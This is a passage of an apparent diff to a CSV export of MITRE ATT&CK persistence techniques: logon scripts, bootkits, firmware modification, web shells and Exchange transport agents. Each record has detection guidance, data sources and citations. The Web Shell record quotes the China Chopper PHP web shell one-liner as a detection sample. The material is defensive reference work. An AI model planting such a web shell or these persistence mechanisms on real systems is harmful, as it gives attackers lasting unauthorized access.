system. A login hook tells Mac OS X to execute a certain script when a user logs in, but unlike [Startup Items](https://attack.mitre.org/techniques/T1037/005), a login hook executes as the elevated root user.(Citation: creating login hook) +Monitor for changes to files associated with system-level processes.",False,,"['Windows', 'macOS', 'Linux']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1037/002', 'external_id': 'T1037.002'}, {'source_name': 'creating login hook', 'description': 'Apple. (2011, June 1). Mac OS X: Creating a login hook. Retrieved July 17, 2017.', 'url': 'https://support.apple.com/de-at/HT2420'}, {'source_name': 'S1 macOs Persistence', 'description': 'Stokes, P. (2019, July 17). How Malware Persists on macOS. Retrieved March 27, 2020.', 'url': 'https://www.sentinelone.com/blog/how-malware-persists-on-macos/'}]",1.0,attack-pattern,attack-pattern--43ba2b05-cf72-4b6c-8243-03a4aba41ee0,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-10T16:01:15.995Z,2020-03-27T16:49:15.786Z,Logon Script (Mac),"Adversaries may use macOS logon scripts automatically executed at logon initialization to establish persistence. macOS allows logon scripts (known as login hooks) to be executed whenever a specific user logs into a system. A login hook tells Mac OS X to execute a certain script when a user logs in, but unlike [Startup Items](https://attack.mitre.org/techniques/T1037/005), a login hook executes as the elevated root user.(Citation: creating login hook) -Adversaries may use these login hooks to maintain persistence on a single system.(Citation: S1 macOs Persistence) Access to login hook scripts may allow an adversary to insert additional malicious code. There can only be one login hook at a time though and depending on the access configuration of the hooks, either local credentials or an administrator account may be necessary. ",attack-pattern--43ba2b05-cf72-4b6c-8243-03a4aba41ee0,attack-pattern,"['persistence', 'privilege-escalation']",2020-03-27T16:49:15.786Z,2020-01-10T16:01:15.995Z,Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties. Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon.,"['File: File Creation', 'File: File Modification', 'Process: Process Creation', 'Command: Command Execution']",,,,['macOS'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1037.001', 'url': 'https://attack.mitre.org/techniques/T1037/001'}, {'url': 'https://technet.microsoft.com/en-us/library/cc758918(v=ws.10).aspx', 'description': 'Microsoft. (2005, January 21). Creating logon scripts. Retrieved April 27, 2016.', 'source_name': 'TechNet Logon Scripts'}, {'source_name': 'Hexacorn Logon Scripts', 'url': 'http://www.hexacorn.com/blog/2014/11/14/beyond-good-ol-run-key-part-18/', 'description': 'Hexacorn. (2014, November 14). Beyond good ol’ Run key, Part 18. Retrieved November 15, 2019.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]",1.0,True,https://attack.mitre.org/techniques/T1037/001,mitre-attack,T1037.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Logon Script (Windows),"Adversaries may use Windows logon scripts automatically executed at logon initialization to establish persistence. Windows allows logon scripts to be run whenever a specific user or group of users log into a system.(Citation: TechNet Logon Scripts) This is done via adding a path to a script to the HKCU\Environment\UserInitMprLogonScript Registry key.(Citation: Hexacorn Logon Scripts) +Adversaries may use these login hooks to maintain persistence on a single system.(Citation: S1 macOs Persistence) Access to login hook scripts may allow an adversary to insert additional malicious code. There can only be one login hook at a time though and depending on the access configuration of the hooks, either local credentials or an administrator account may be necessary. ","['persistence', 'privilege-escalation']",https://attack.mitre.org/techniques/T1037/002,mitre-attack,T1037.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['File: File Creation', 'File: File Modification', 'Process: Process Creation', 'Command: Command Execution']",,Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties. Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon.,True,,['macOS'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1037/001', 'external_id': 'T1037.001'}, {'source_name': 'TechNet Logon Scripts', 'description': 'Microsoft. (2005, January 21). Creating logon scripts. Retrieved April 27, 2016.', 'url': 'https://technet.microsoft.com/en-us/library/cc758918(v=ws.10).aspx'}, {'source_name': 'Hexacorn Logon Scripts', 'description': 'Hexacorn. (2014, November 14). Beyond good ol’ Run key, Part 18. Retrieved November 15, 2019.', 'url': 'http://www.hexacorn.com/blog/2014/11/14/beyond-good-ol-run-key-part-18/'}]",1.0,attack-pattern,attack-pattern--eb125d40-0b2d-41ac-a71a-3229241c2cd3,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-10T03:43:37.211Z,2020-03-24T23:45:03.153Z,Logon Script (Windows),"Adversaries may use Windows logon scripts automatically executed at logon initialization to establish persistence. Windows allows logon scripts to be run whenever a specific user or group of users log into a system.(Citation: TechNet Logon Scripts) This is done via adding a path to a script to the HKCU\Environment\UserInitMprLogonScript Registry key.(Citation: Hexacorn Logon Scripts) -Adversaries may use these scripts to maintain persistence on a single system. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary. ",attack-pattern--eb125d40-0b2d-41ac-a71a-3229241c2cd3,attack-pattern,"['persistence', 'privilege-escalation']",2020-03-24T23:45:03.153Z,2020-01-10T03:43:37.211Z,"Monitor for changes to Registry values associated with Windows logon scrips, nameley HKCU\Environment\UserInitMprLogonScript. +Adversaries may use these scripts to maintain persistence on a single system. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary. ","['persistence', 'privilege-escalation']",https://attack.mitre.org/techniques/T1037/001,mitre-attack,T1037.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Windows Registry: Windows Registry Key Creation', 'Process: Process Creation', 'Command: Command Execution']",,"Monitor for changes to Registry values associated with Windows logon scrips, nameley HKCU\Environment\UserInitMprLogonScript. -Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon.","['Windows Registry: Windows Registry Key Creation', 'Process: Process Creation', 'Command: Command Execution']",,,,['Windows'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1542.003', 'url': 'https://attack.mitre.org/techniques/T1542/003'}, {'external_id': 'CAPEC-552', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/552.html'}, {'source_name': 'Mandiant M Trends 2016', 'url': 'https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-mtrends-2016.pdf', 'description': 'Mandiant. (2016, February 25). Mandiant M-Trends 2016. Retrieved March 5, 2019.'}, {'url': 'http://www.symantec.com/connect/blogs/are-mbr-infections-back-fashion', 'description': 'Lau, H. (2011, August 8). Are MBR Infections Back in Fashion? (Infographic). Retrieved November 13, 2014.', 'source_name': 'Lau 2011'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.1,True,https://attack.mitre.org/techniques/T1542/003,mitre-attack,T1542.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Bootkit,"Adversaries may use bootkits to persist on systems. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly. +Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon.",True,,['Windows'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1542/003', 'external_id': 'T1542.003'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/552.html', 'external_id': 'CAPEC-552'}, {'source_name': 'Mandiant M Trends 2016', 'description': 'Mandiant. (2016, February 25). Mandiant M-Trends 2016. Retrieved March 5, 2019.', 'url': 'https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-mtrends-2016.pdf'}, {'source_name': 'Lau 2011', 'description': 'Lau, H. (2011, August 8). Are MBR Infections Back in Fashion? (Infographic). Retrieved November 13, 2014.', 'url': 'http://www.symantec.com/connect/blogs/are-mbr-infections-back-fashion'}]",1.1,attack-pattern,attack-pattern--1b7b1806-7746-41a1-a35d-e48dae25ddba,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-12-19T21:05:38.123Z,2020-09-17T19:47:14.338Z,Bootkit,"Adversaries may use bootkits to persist on systems. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly. A bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). (Citation: Mandiant M Trends 2016) The MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code. (Citation: Lau 2011) -The MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.",attack-pattern--1b7b1806-7746-41a1-a35d-e48dae25ddba,attack-pattern,"['persistence', 'defense-evasion']",2020-09-17T19:47:14.338Z,2019-12-19T21:05:38.123Z,Perform integrity checking on MBR and VBR. Take snapshots of MBR and VBR and compare against known good samples. Report changes to MBR and VBR as they occur for indicators of suspicious activity and further analysis.,['Drive: Drive Modification'],,"['Host intrusion prevention systems', 'Anti-virus', 'File monitoring']","['Administrator', 'SYSTEM']","['Linux', 'Windows']",,CAPEC-552,https://capec.mitre.org/data/definitions/552.html,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1542.002', 'url': 'https://attack.mitre.org/techniques/T1542/002'}, {'description': 'SanDisk. (n.d.). Self-Monitoring, Analysis and Reporting Technology (S.M.A.R.T.). Retrieved October 2, 2018.', 'source_name': 'SanDisk SMART'}, {'url': 'https://www.smartmontools.org/', 'description': 'smartmontools. (n.d.). smartmontools. Retrieved October 2, 2018.', 'source_name': 'SmartMontools'}, {'url': 'https://www.itworld.com/article/2853992/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html', 'description': ""Pinola, M. (2014, December 14). 3 tools to check your hard drive's health and make sure it's not already dying on you. Retrieved October 2, 2018."", 'source_name': 'ITWorld Hard Disk Health Dec 2014'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.0,True,https://attack.mitre.org/techniques/T1542/002,mitre-attack,T1542.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Component Firmware,"Adversaries may modify component firmware to persist on systems. Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to [System Firmware](https://attack.mitre.org/techniques/T1542/001) but conducted upon other system components/devices that may not have the same capability or level of integrity checking. +The MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.","['persistence', 'defense-evasion']",https://attack.mitre.org/techniques/T1542/003,mitre-attack,T1542.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['Drive: Drive Modification'],"['Host intrusion prevention systems', 'Anti-virus', 'File monitoring']",Perform integrity checking on MBR and VBR. Take snapshots of MBR and VBR and compare against known good samples. Report changes to MBR and VBR as they occur for indicators of suspicious activity and further analysis.,True,"['Administrator', 'SYSTEM']","['Linux', 'Windows']",,CAPEC-552,https://capec.mitre.org/data/definitions/552.html,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1542/002', 'external_id': 'T1542.002'}, {'source_name': 'SanDisk SMART', 'description': 'SanDisk. (n.d.). Self-Monitoring, Analysis and Reporting Technology (S.M.A.R.T.). Retrieved October 2, 2018.'}, {'source_name': 'SmartMontools', 'description': 'smartmontools. (n.d.). smartmontools. Retrieved October 2, 2018.', 'url': 'https://www.smartmontools.org/'}, {'source_name': 'ITWorld Hard Disk Health Dec 2014', 'description': ""Pinola, M. (2014, December 14). 3 tools to check your hard drive's health and make sure it's not already dying on you. Retrieved October 2, 2018."", 'url': 'https://www.itworld.com/article/2853992/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html'}]",1.0,attack-pattern,attack-pattern--791481f8-e96a-41be-b089-a088763083d4,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-12-19T20:21:21.669Z,2020-03-23T23:48:33.904Z,Component Firmware,"Adversaries may modify component firmware to persist on systems. Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to [System Firmware](https://attack.mitre.org/techniques/T1542/001) but conducted upon other system components/devices that may not have the same capability or level of integrity checking. -Malicious component firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.",attack-pattern--791481f8-e96a-41be-b089-a088763083d4,attack-pattern,"['persistence', 'defense-evasion']",2020-03-23T23:48:33.904Z,2019-12-19T20:21:21.669Z,"Data and telemetry from use of device drivers (i.e. processes and API calls) and/or provided by SMART (Self-Monitoring, Analysis and Reporting Technology) (Citation: SanDisk SMART) (Citation: SmartMontools) disk monitoring may reveal malicious manipulations of components. Otherwise, this technique may be difficult to detect since malicious activity is taking place on system components possibly outside the purview of OS security and integrity mechanisms. +Malicious component firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.","['persistence', 'defense-evasion']",https://attack.mitre.org/techniques/T1542/002,mitre-attack,T1542.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Driver: Driver Metadata', 'Firmware: Firmware Modification', 'Process: OS API Execution']","['Anti-virus', 'Host intrusion prevention systems', 'File monitoring']","Data and telemetry from use of device drivers (i.e. processes and API calls) and/or provided by SMART (Self-Monitoring, Analysis and Reporting Technology) (Citation: SanDisk SMART) (Citation: SmartMontools) disk monitoring may reveal malicious manipulations of components. Otherwise, this technique may be difficult to detect since malicious activity is taking place on system components possibly outside the purview of OS security and integrity mechanisms. -Disk check and forensic utilities (Citation: ITWorld Hard Disk Health Dec 2014) may reveal indicators of malicious firmware such as strings, unexpected disk partition table entries, or blocks of otherwise unusual memory that warrant deeper investigation. Also consider comparing components, including hashes of component firmware and behavior, against known good images.","['Driver: Driver Metadata', 'Firmware: Firmware Modification', 'Process: OS API Execution']",,"['Anti-virus', 'Host intrusion prevention systems', 'File monitoring']",['SYSTEM'],['Windows'],,,,['Ability to update component device firmware from the host operating system.'],,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1542.001', 'url': 'https://attack.mitre.org/techniques/T1542/001'}, {'external_id': 'CAPEC-532', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/532.html'}, {'url': 'https://en.wikipedia.org/wiki/BIOS', 'description': 'Wikipedia. (n.d.). BIOS. Retrieved January 5, 2016.', 'source_name': 'Wikipedia BIOS'}, {'url': 'https://en.wikipedia.org/wiki/Unified_Extensible_Firmware_Interface', 'description': 'Wikipedia. (2017, July 10). Unified Extensible Firmware Interface. Retrieved July 11, 2017.', 'source_name': 'Wikipedia UEFI'}, {'url': 'http://www.uefi.org/about', 'description': 'UEFI Forum. (n.d.). About UEFI Forum. Retrieved January 5, 2016.', 'source_name': 'About UEFI'}, {'url': 'http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research', 'description': 'Upham, K. (2014, March). Going Deep into the BIOS with MITRE Firmware Security Research. Retrieved January 5, 2016.', 'source_name': 'MITRE Trustworthy Firmware Measurement'}, {'url': 'http://www.mitre.org/capabilities/cybersecurity/overview/cybersecurity-blog/copernicus-question-your-assumptions-about', 'description': 'Butterworth, J. (2013, July 30). Copernicus: Question Your Assumptions about BIOS Security. Retrieved December 11, 2015.', 'source_name': 'MITRE Copernicus'}, {'url': 'https://securingtomorrow.mcafee.com/business/chipsec-support-vault-7-disclosure-scanning/', 'description': 'Beek, C., Samani, R. (2017, March 8). CHIPSEC Support Against Vault 7 Disclosure Scanning. Retrieved March 13, 2017.', 'source_name': 'McAfee CHIPSEC Blog'}, {'url': 'https://github.com/chipsec/chipsec', 'description': 'Intel. (2017, March 18). CHIPSEC Platform Security Assessment Framework. Retrieved March 20, 2017.', 'source_name': 'Github CHIPSEC'}, {'url': 'http://www.intelsecurity.com/advanced-threat-research/content/data/HT-UEFI-rootkit.html', 'description': ""Intel Security. (2005, July 16). HackingTeam's UEFI Rootkit Details. Retrieved March 20, 2017."", 'source_name': 'Intel HackingTeam UEFI Rootkit'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.0,True,https://attack.mitre.org/techniques/T1542/001,mitre-attack,T1542.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,System Firmware,"Adversaries may modify system firmware to persist on systems.The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer. (Citation: Wikipedia BIOS) (Citation: Wikipedia UEFI) (Citation: About UEFI) +Disk check and forensic utilities (Citation: ITWorld Hard Disk Health Dec 2014) may reveal indicators of malicious firmware such as strings, unexpected disk partition table entries, or blocks of otherwise unusual memory that warrant deeper investigation. Also consider comparing components, including hashes of component firmware and behavior, against known good images.",True,['SYSTEM'],['Windows'],,,,['Ability to update component device firmware from the host operating system.'],,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1542/001', 'external_id': 'T1542.001'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/532.html', 'external_id': 'CAPEC-532'}, {'source_name': 'Wikipedia BIOS', 'description': 'Wikipedia. (n.d.). BIOS. Retrieved January 5, 2016.', 'url': 'https://en.wikipedia.org/wiki/BIOS'}, {'source_name': 'Wikipedia UEFI', 'description': 'Wikipedia. (2017, July 10). Unified Extensible Firmware Interface. Retrieved July 11, 2017.', 'url': 'https://en.wikipedia.org/wiki/Unified_Extensible_Firmware_Interface'}, {'source_name': 'About UEFI', 'description': 'UEFI Forum. (n.d.). About UEFI Forum. Retrieved January 5, 2016.', 'url': 'http://www.uefi.org/about'}, {'source_name': 'MITRE Trustworthy Firmware Measurement', 'description': 'Upham, K. (2014, March). Going Deep into the BIOS with MITRE Firmware Security Research. Retrieved January 5, 2016.', 'url': 'http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research'}, {'source_name': 'MITRE Copernicus', 'description': 'Butterworth, J. (2013, July 30). Copernicus: Question Your Assumptions about BIOS Security. Retrieved December 11, 2015.', 'url': 'http://www.mitre.org/capabilities/cybersecurity/overview/cybersecurity-blog/copernicus-question-your-assumptions-about'}, {'source_name': 'McAfee CHIPSEC Blog', 'description': 'Beek, C., Samani, R. (2017, March 8). CHIPSEC Support Against Vault 7 Disclosure Scanning. Retrieved March 13, 2017.', 'url': 'https://securingtomorrow.mcafee.com/business/chipsec-support-vault-7-disclosure-scanning/'}, {'source_name': 'Github CHIPSEC', 'description': 'Intel. (2017, March 18). CHIPSEC Platform Security Assessment Framework. Retrieved March 20, 2017.', 'url': 'https://github.com/chipsec/chipsec'}, {'source_name': 'Intel HackingTeam UEFI Rootkit', 'description': ""Intel Security. (2005, July 16). HackingTeam's UEFI Rootkit Details. Retrieved March 20, 2017."", 'url': 'http://www.intelsecurity.com/advanced-threat-research/content/data/HT-UEFI-rootkit.html'}]",1.0,attack-pattern,attack-pattern--16ab6452-c3c1-497c-a47d-206018ca1ada,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-12-19T19:43:34.507Z,2020-05-19T21:22:37.865Z,System Firmware,"Adversaries may modify system firmware to persist on systems.The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer. (Citation: Wikipedia BIOS) (Citation: Wikipedia UEFI) (Citation: About UEFI) -System firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.",attack-pattern--16ab6452-c3c1-497c-a47d-206018ca1ada,attack-pattern,"['persistence', 'defense-evasion']",2020-05-19T21:22:37.865Z,2019-12-19T19:43:34.507Z,"System firmware manipulation may be detected. (Citation: MITRE Trustworthy Firmware Measurement) Dump and inspect BIOS images on vulnerable systems and compare against known good images. (Citation: MITRE Copernicus) Analyze differences to determine if malicious changes have occurred. Log attempts to read/write to BIOS and compare against known patching behavior. +System firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.","['persistence', 'defense-evasion']",https://attack.mitre.org/techniques/T1542/001,mitre-attack,T1542.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Jean-Ian Boutin, ESET', 'McAfee', 'Ryan Becwar']",['Firmware: Firmware Modification'],"['Host intrusion prevention systems', 'Anti-virus', 'File monitoring']","System firmware manipulation may be detected. (Citation: MITRE Trustworthy Firmware Measurement) Dump and inspect BIOS images on vulnerable systems and compare against known good images. (Citation: MITRE Copernicus) Analyze differences to determine if malicious changes have occurred. Log attempts to read/write to BIOS and compare against known patching behavior. -Likewise, EFI modules can be collected and compared against a known-clean list of EFI executable binaries to detect potentially malicious modules. The CHIPSEC framework can be used for analysis to determine if firmware modifications have been performed. (Citation: McAfee CHIPSEC Blog) (Citation: Github CHIPSEC) (Citation: Intel HackingTeam UEFI Rootkit)",['Firmware: Firmware Modification'],"['Jean-Ian Boutin, ESET', 'McAfee', 'Ryan Becwar']","['Host intrusion prevention systems', 'Anti-virus', 'File monitoring']","['Administrator', 'SYSTEM']",['Windows'],,CAPEC-532,https://capec.mitre.org/data/definitions/532.html,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1505.003', 'url': 'https://attack.mitre.org/techniques/T1505/003'}, {'external_id': 'CAPEC-650', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/650.html'}, {'source_name': 'Lee 2013', 'description': 'Lee, T., Hanzlik, D., Ahl, I. (2013, August 7). Breaking Down the China Chopper Web Shell - Part I. Retrieved March 27, 2015.', 'url': 'https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html'}, {'url': 'https://www.us-cert.gov/ncas/alerts/TA15-314A', 'description': 'US-CERT. (2015, November 13). Compromised Web Servers and Web Shells - Threat Awareness and Guidance. Retrieved June 8, 2016.', 'source_name': 'US-CERT Alert TA15-314A Web Shells'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]",1.1,True,https://attack.mitre.org/techniques/T1505/003,mitre-attack,T1505.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Web Shell,"Adversaries may backdoor web servers with web shells to establish persistent access to systems. A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server. +Likewise, EFI modules can be collected and compared against a known-clean list of EFI executable binaries to detect potentially malicious modules. The CHIPSEC framework can be used for analysis to determine if firmware modifications have been performed. (Citation: McAfee CHIPSEC Blog) (Citation: Github CHIPSEC) (Citation: Intel HackingTeam UEFI Rootkit)",True,"['Administrator', 'SYSTEM']",['Windows'],,CAPEC-532,https://capec.mitre.org/data/definitions/532.html,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1505/003', 'external_id': 'T1505.003'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/650.html', 'external_id': 'CAPEC-650'}, {'source_name': 'Lee 2013', 'description': 'Lee, T., Hanzlik, D., Ahl, I. (2013, August 7). Breaking Down the China Chopper Web Shell - Part I. Retrieved March 27, 2015.', 'url': 'https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html'}, {'source_name': 'NSA Cyber Mitigating Web Shells', 'description': ' NSA Cybersecurity Directorate. (n.d.). Mitigating Web Shells. Retrieved July 22, 2021.', 'url': 'https://github.com/nsacyber/Mitigating-Web-Shells'}, {'source_name': 'US-CERT Alert TA15-314A Web Shells', 'description': 'US-CERT. (2015, November 13). Compromised Web Servers and Web Shells - Threat Awareness and Guidance. Retrieved June 8, 2016.', 'url': 'https://www.us-cert.gov/ncas/alerts/TA15-314A'}]",1.2,attack-pattern,attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-12-13T16:46:18.927Z,2021-07-26T13:46:47.993Z,Web Shell,"Adversaries may backdoor web servers with web shells to establish persistent access to systems. A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server. -In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (ex: [China Chopper](https://attack.mitre.org/software/S0020) Web shell client).(Citation: Lee 2013) ",attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb,attack-pattern,['persistence'],2020-09-16T19:34:19.752Z,2019-12-13T16:46:18.927Z,"Web shells can be difficult to detect. Unlike other forms of persistent remote access, they do not initiate connections. The portion of the Web shell that is on the server may be small and innocuous looking. The PHP version of the China Chopper Web shell, for example, is the following short payload: (Citation: Lee 2013) +In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (ex: [China Chopper](https://attack.mitre.org/software/S0020) Web shell client).(Citation: Lee 2013) ",['persistence'],https://attack.mitre.org/techniques/T1505/003,mitre-attack,T1505.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Arnim Rupp, Deutsche Lufthansa AG']","['File: File Creation', 'File: File Modification', 'Process: Process Creation', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow', 'Application Log: Application Log Content']",,"Web shells can be difficult to detect. Unlike other forms of persistent remote access, they do not initiate connections. The portion of the Web shell that is on the server may be small and innocuous looking. The PHP version of the China Chopper Web shell, for example, is the following short payload: (Citation: Lee 2013) <?php @eval($_POST['password']);> -Nevertheless, detection mechanisms exist. Process monitoring may be used to detect Web servers that perform suspicious actions such as running cmd.exe or accessing files that are not in the Web directory. File monitoring may be used to detect changes to files in the Web directory of a Web server that do not match with updates to the Web server's content and may indicate implantation of a Web shell script. Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells) ","['File: File Creation', 'File: File Modification', 'Process: Process Creation', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow', 'Application Log: Application Log Content']",,,"['SYSTEM', 'User']","['Linux', 'Windows', 'macOS']",,CAPEC-650,https://capec.mitre.org/data/definitions/650.html,['Adversary access to Web server with vulnerability or account to upload and serve the Web shell file.'],,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1505.002', 'url': 'https://attack.mitre.org/techniques/T1505/002'}, {'source_name': 'Microsoft TransportAgent Jun 2016', 'url': 'https://docs.microsoft.com/en-us/exchange/transport-agents-exchange-2013-help', 'description': 'Microsoft. (2016, June 1). Transport agents. Retrieved June 24, 2019.'}, {'source_name': 'ESET LightNeuron May 2019', 'url': 'https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf', 'description': 'Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]",1.0,True,https://attack.mitre.org/techniques/T1505/002,mitre-attack,T1505.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Transport Agent,"Adversaries may abuse Microsoft transport agents to establish persistent access to systems. Microsoft Exchange transport agents can operate on email messages passing through the transport pipeline to perform various tasks such as filtering spam, filtering malicious attachments, journaling, or adding a corporate signature to the end of all outgoing emails.(Citation: Microsoft TransportAgent Jun 2016)(Citation: ESET LightNeuron May 2019) Transport agents can be written by application developers and then compiled to .NET assemblies that are subsequently registered with the Exchange server. Transport agents will be invoked during a specified stage of email processing and carry out developer defined tasks. +Nevertheless, detection mechanisms exist. Process monitoring may be used to detect Web servers that perform suspicious actions such as spawning cmd.exe or accessing files that are not in the Web directory.(Citation: NSA Cyber Mitigating Web Shells) + +File monitoring may be used to detect 